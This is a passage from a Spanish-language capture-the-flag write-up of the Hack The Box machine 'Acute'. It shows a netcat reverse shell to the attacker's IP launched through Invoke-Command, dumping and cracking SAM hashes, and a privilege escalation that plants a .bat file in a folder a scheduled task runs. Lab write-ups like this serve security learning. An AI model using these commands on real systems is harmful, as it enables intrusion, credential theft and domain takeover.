4$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51';$passwd = $securepasswd | ConvertTo-SecureString;$creds = New-Object System.Management.Automation.PSCredential ('acute\jmorgan',$passwd);Invoke-Command -ScriptBlock {C:\ProgramData\nc.exe 10.10.14.125 443 -e cmd.exe} -ComputerName Acute-PC01 -Credential $creds

Nos ponemos en escucha en el puerto 443.

1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...

Ahora lo ejecutamos.

1PS C:\ProgramData> Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {C:\Users\imonks\Desktop\wm.ps1}

Y conseguimos una consola como jmorgan

1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.125] from (UNKNOWN) [10.129.136.40] 49849
4Microsoft Windows [Version 10.0.19044.1466]
5(c) Microsoft Corporation. All rights reserved.
6
7C:\Users\jmorgan\Documents>whoami
8whoami
9acute\jmorgan

User Pivoting 2

Podemos comprobar que jmorgan es un usuario administrador en esta máquina.

 1C:\Users\jmorgan\Documents>whoami /groups
 2whoami /groups
 3
 4GROUP INFORMATION
 5-----------------
 6
 7Group Name                                 Type             SID          Attributes                                                     
 8========================================== ================ ============ ===============================================================
 9Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group             
10BUILTIN\Administrators                     Alias            S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
11BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group             
12NT AUTHORITY\NETWORK                       Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group             
13NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group             
14NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group             
15Authentication authority asserted identity Well-known group S-1-18-1     Mandatory group, Enabled by default, Enabled group             
16Mandatory Label\High Mandatory Level       Label            S-1-16-12288                                                             

Una buena práctica en auditorias cuando eres administrador es conseguir credenciales de otros usuarios, podemos hacer esto haciendo el típico método de dumpeando la SAM.

Un tutorial básico de como hacer esto lo podemos encontrar aquí

Podemos dumper el registro de la SAM y el registro System.

1C:\Users\jmorgan\Documents>reg save hklm\sam c:\sam                       
2reg save hklm\sam c:\sam
3The operation completed successfully.
4
5C:\Users\jmorgan\Documents>reg save hklm\system c:\system                 
6reg save hklm\system c:\system
7The operation completed successfully.

Vemos que ha funcionado correctamente.

 1C:\>dir
 2dir
 3 Volume in drive C has no label.
 4 Volume Serial Number is 8A9A-E124
 5
 6 Directory of C:\
 7
 807/12/2019  10:14    <DIR>          PerfLogs
 906/12/2021  12:06    <DIR>          Program Files
1007/12/2021  13:43    <DIR>          Program Files (x86)
1106/09/2024  21:17            57,344 sam
1206/09/2024  21:17        12,140,544 system
1321/12/2021  23:50    <DIR>          Users
1406/09/2024  19:57    <DIR>          Utils
1516/12/2021  02:23    <DIR>          Windows
16               2 File(s)     12,197,888 bytes
17               6 Dir(s)   8,004,026,368 bytes free

Para que no haya problemas de lectura podemos añadir a edavies como administrador en la máquina.

1C:\>net localgroup administrators edavies /add
2net localgroup administrators edavies /add
3The command completed successfully.

Nos vamos a copiar los archivos a la carpeta Utils que es donde tengo la raíz de mi sesión de metasploit

1C:\>copy system Utils
2copy system Utils
3        1 file(s) copied.
4
5C:\>copy sam Utils
6copy sam Utils
7        1 file(s) copied.

Ahora nos descargamos los archivos.

 1Meterpreter 1)(C:\uTILS) > download sam
 2[*] Downloading: sam -> /home/pointedsec/Desktop/sam
 3[*] Downloaded 56.00 KiB of 56.00 KiB (100.0%): sam -> /home/pointedsec/Desktop/sam
 4[*] Completed  : sam -> /home/pointedsec/Desktop/sam
 5(Meterpreter 1)(C:\uTILS) > download system
 6[*] Downloading: system -> /home/pointedsec/Desktop/system
 7
 8[*] Downloaded 1.00 MiB of 11.58 MiB (8.64%): system -> /home/pointedsec/Desktop/system
 9[*] Downloaded 2.00 MiB of 11.58 MiB (17.27%): system -> /home/pointedsec/Desktop/system
10[*] Downloaded 3.00 MiB of 11.58 MiB (25.91%): system -> /home/pointedsec/Desktop/system
11[*] Downloaded 4.00 MiB of 11.58 MiB (34.55%): system -> /home/pointedsec/Desktop/system
12[*] Downloaded 5.00 MiB of 11.58 MiB (43.18%): system -> /home/pointedsec/Desktop/system
13[*] Downloaded 6.00 MiB of 11.58 MiB (51.82%): system -> /home/pointedsec/Desktop/system
14[*] Downloaded 7.00 MiB of 11.58 MiB (60.46%): system -> /home/pointedsec/Desktop/system
15[*] Downloaded 8.00 MiB of 11.58 MiB (69.1%): system -> /home/pointedsec/Desktop/system
16[*] Downloaded 9.00 MiB of 11.58 MiB (77.73%): system -> /home/pointedsec/Desktop/system
17[*] Downloaded 10.00 MiB of 11.58 MiB (86.37%): system -> /home/pointedsec/Desktop/system
18[*] Downloaded 11.00 MiB of 11.58 MiB (95.01%): system -> /home/pointedsec/Desktop/system
19[*] Downloaded 11.58 MiB of 11.58 MiB (100.0%): system -> /home/pointedsec/Desktop/system
20[*] Completed  : system -> /home/pointedsec/Desktop/system

Y conseguimos los hashes LM:NT de los usuarios de este equipo.

 1$ secretsdump.py -sam sam -system system LOCAL
 2Impacket v0.12.0.dev1+20240819.165705.f98c9870 - Copyright 2023 Fortra
 3
 4[*] Target system bootKey: 0x44397c32a634e3d8d8f64bff8c614af7
 5[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
 6Administrator:500:aad3b435b51404eeaad3b435b51404ee:a29f7623fd11550def0192de9246f46b:::
 7Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
 8DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
 9WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:24571eab88ac0e2dcef127b8e9ad4740:::
10Natasha:1001:aad3b435b51404eeaad3b435b51404ee:29ab86c5c4d2aab957763e5c1720486d:::
11[*] Cleaning up... 

Podemos guardar los hashes a un fichero.

1$ cat hashes.txt 
2a29f7623fd11550def0192de9246f46b
331d6cfe0d16ae931b73c59d7e0c089c0
431d6cfe0d16ae931b73c59d7e0c089c0
524571eab88ac0e2dcef127b8e9ad4740
629ab86c5c4d2aab957763e5c1720486d

Y podemos intentar crackearlos con hashcat

1$ hashcat -a 0 -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
2
3....
431d6cfe0d16ae931b73c59d7e0c089c0:                                                                                                                 
5a29f7623fd11550def0192de9246f46b:Password@123

Write-up Image

Conseguimos crackear el hash de la cuenta de invitados que no tiene credencial.

Y el hash de la cuenta del administrador que corresponde a Password@123

Después de probar varios usuarios, vemos que podemos ejecutar comandos en el equipo atsserver como el usuario awallace y utilizando otra vez la política dc_manage

1PS C:\uTILS> $passwd = ConvertTo-SecureString "Password@123" -AsPlainText -Force 
2$passwd = ConvertTo-SecureString "Password@123" -AsPlainText -Force 
3PS C:\uTILS> $cred = New-Object System.Management.Automation.PSCredential("acute\awallace", $passwd)       
4$cred = New-Object System.Management.Automation.PSCredential("acute\awallace", $passwd)
5PS C:\uTILS> Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {whoami}
6Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {whoami}
7acute\awallace

Otra vez estamos restringidos así que solo podemos intentar enumerar la máquina que ya habíamos enumerado.

Pero me acordé del keepmeon del cual no había encontrado nada por Internet, por lo cual debe de ser algo personalizado.

Y vemos un archivo keepmeon.bat, un poco rebuscado…

 1PS C:\uTILS> Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {ls "C:\Program Files\keepmeon"}
 2Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {ls "C:\Program Files\keepmeon"}
 3
 4
 5    Directory: C:\Program Files\keepmeon
 6
 7
 8Mode                 LastWriteTime         Length Name                               PSComputerName                    
 9----                 -------------         ------ ----                               --------------                    
10-a----        21/12/2021     14:57            128 keepmeon.bat                       atsserver                         

Este es el script.

1REM This is run every 5 minutes. For Lois use ONLY
2@echo off
3 for /R %%x in (*.bat) do (
4 if not "%%x" == "%~0" call "%%x"
5)

El script busca y ejecuta todos los archivos .bat en el directorio actual y en los subdirectorios, exceptuando el propio script que está en ejecución. Esta es una forma de automatizar la ejecución de múltiples scripts .bat sin tener que llamarlos individualmente.

Privilege Escalation

En el documento word del principio, encontrabamos lo siguiente.

Write-up Image

**Lois is the only authorized personnel to change Group Membership, Contact Lois to have this approved and changed if required. Only Lois can become site admin. **

Entonces el usuario Lois que es el mismo que está ejecutando el script que hemos encontrado cada 5 minutos, puede agregar a los usuarios a un grupo para convertirse en “site admin”, vamos a investigar a que grupo puede que añada a los usuarios.

Vemos un grupo llamado Site_Admin, blanco y en botella leche.

 1PS C:\uTILS> Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {net group /domain}               Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {net group /domain}
 2
 3Group Accounts for \\
 4
 5-------------------------------------------------------------------------------
 6*Cloneable Domain Controllers
 7*DnsUpdateProxy
 8*Domain Admins
 9*Domain Computers
10*Domain Controllers
11*Domain Guests
12*Domain Users
13*Enterprise Admins
14*Enterprise Key Admins
15*Enterprise Read-only Domain Controllers
16*Group Policy Creator Owners
17*Key Admins
18*Managers
19*Protected Users
20*Read-only Domain Controllers
21*Schema Admins
22*Site_Admin
23The command completed with one or more errors.

Vamos a crear un script para añadir al usuario awallace a este grupo.

Se lo podemos preguntar a ChatGPT como he hecho en varias partes en este write-up.

1Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {Set-Content -Path 'C:\Program Files\keepmeon\pointed.bat' -Value 'net group "Site_Admin" awallace /add /domain'}

Ahora podemos comprobar que se ha creado.

 1PS C:\uTILS> Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {ls "C:\Program Files\keepmeon\"} 
 2Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {ls "C:\Program Files\keepmeon\"}
 3
 4
 5    Directory: C:\Program Files\keepmeon
 6
 7
 8Mode                 LastWriteTime         Length Name                               PSComputerName                    
 9----                 -------------         ------ ----                               --------------                    
10-a----        21/12/2021     14:57            128 keepmeon.bat                       atsserver                         
11-a----        06/09/2024     21:45             59 pointed.bat                        atsserver                         

Podemos comprobar el contenido.

1PS C:\uTILS> Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {type "C:\Program Files\keepmeon\p
2ointed.bat"}
3Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {type "C:\Program Files\keepmeon\pointed.bat"}
4net group "Site_Admin" awallace /add /domain

Después de esperar 5 minutos podemos revisar los grupos de awallace y vemos que ahora pertenece a Site_Admin y a Domain Admins

 1PS C:\uTILS> Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {whoami /groups}
 2Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {whoami /groups}
 3
 4GROUP INFORMATION
 5-----------------
 6
 7Group Name                                   Type             SID                                            Attributes                                                     
 8============================================ ================ ============================================== ===============================================================
 9Everyone                                     Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group             
10BUILTIN\Users                                Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group             
11BUILTIN\Pre-Windows 2000 Compatible Access   Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group             
12BUILTIN\Certificate Service DCOM Access      Alias            S-1-5-32-574                                   Mandatory group, Enabled by default, Enabled group             
13BUILTIN\Administrators                       Alias            S-1-5-32-544                                   Mandatory group, Enabled by default, Enabled group, Group owner
14NT AUTHORITY\NETWORK                         Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group             
15NT AUTHORITY\Authenticated Users             Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group             
16NT AUTHORITY\This Organization               Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group             
17ACUTE\Domain Admins                          Group            S-1-5-21-1786406921-1914792807-2072761762-512  Mandatory group, Enabled by default, Enabled group             
18ACUTE\Managers                               Group            S-1-5-21-1786406921-1914792807-2072761762-1111 Mandatory group, Enabled by default, Enabled group             
19ACUTE\Site_Admin                             Group            S-1-5-21-1786406921-1914792807-2072761762-2102 Mandatory group, Enabled by default, Enabled group             
20Authentication authority asserted identity   Well-known group S-1-18-1                                       Mandatory group, Enabled by default, Enabled group             
21ACUTE\Denied RODC Password Replication Group Alias            S-1-5-21-1786406921-1914792807-2072761762-572  Mandatory group, Enabled by default, Enabled group, Local Group
22Mandatory Label\High Mandatory Level         Label            S-1-16-12288

Así que ahora teóricamente podemos acceder a la flag de root.

 1PS C:\uTILS> Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {ls C:\Users\Administrator\Desktop}
 2Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {ls C:\Users\Administrator\Desktop}
 3
 4
 5    Directory: C:\Users\Administrator\Desktop
 6
 7
 8Mode                 LastWriteTime         Length Name                               PSComputerName                    
 9----                 -------------         ------ ----                               --------------                    
10-ar---        06/09/2024     17:37             34 root.txt                           atsserver                         
11
12
13PS C:\uTILS> Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {type C:\Users\Administrator\Desktop\root.txt}
14Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {type C:\Users\Administrator\Desktop\root.txt}
157e9839b552472...

Happy Hacking! 🚀

#HackTheBox   #Acute   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #RCE   #Exploit   #Windows   #HTTPS Enumeration   #SSL Certificate Examination   #Information Disclosure   #Abusing PSWA   #Abusing AV Exclusions   #C2   #Sliver   #Abusing RDP Session   #User Pivoting   #Dumping SAM   #NTLM Cracking   #Hash Cracking   #Cracking   #Abusing Bat Task